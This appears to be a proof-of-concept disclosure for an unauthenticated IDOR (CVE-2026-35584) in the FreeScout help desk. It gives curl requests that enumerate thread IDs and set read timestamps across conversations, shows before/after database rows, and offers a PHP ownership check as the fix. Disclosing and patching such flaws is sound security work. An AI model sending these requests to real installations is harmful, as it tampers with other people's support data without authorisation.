
Proof-of-concept exploit for an unauthenticated IDOR vulnerability in FreeScout that allows thread enumeration and manipulation of read status via crafted HTTP requests.
POC - CVE-2026-35584 FreeScout
The endpoint GET /thread/read/{conversation_id}/{thread_id} does not require authentication and does not validate whether the given thread_id belongs to the given conversation_id. This allows any unauthenticated attacker to:
Mark any thread as read by passing arbitrary IDs Enumerate valid thread IDs via HTTP response codes (200 vs 404) Manipulate opened_at timestamps across conversations (IDOR)
Affected Version
1.8.211 (latest)
Create two conversations (conv_id=1 and conv_id=2) Create a thread in conversation 2 (thread_id=3) Without any authentication, send: GET /thread/read/1/3 Verify in the database — opened_at of thread_id=3 is now set, despite being accessed via the wrong conversation_id
curl -v "http://TARGET/thread/read/1/3"
Returns HTTP 200 and sets opened_at on thread 3
No authentication required IDOR: thread_id is not validated against conversation_id Thread enumeration: HTTP 200 = valid thread, 404 = invalid Manipulation of read/unread metrics used by support agents Breaks conversation isolation model
if ($thread->conversation_id !== (int)$conversation_id) {
abort(403);
}
Thread enumeration (unauthenticated)
curl -v "http://TARGET/thread/read/1/1" → HTTP 200 (valid thread)
curl -v "http://TARGET/thread/read/1/2" → HTTP 200 (valid thread)
curl -v "http://TARGET/thread/read/1/3" → HTTP 200 (IDOR - thread belongs to conversation 2)
curl -v "http://TARGET/thread/read/1/4" → HTTP 404 (invalid thread)
Before: | id | conversation_id | opened_at | | 3 | 2 | NULL |
After GET /thread/read/1/3 (no auth): | id | conversation_id | opened_at | | 3 | 2 | 2026-04-03 23:19:46 |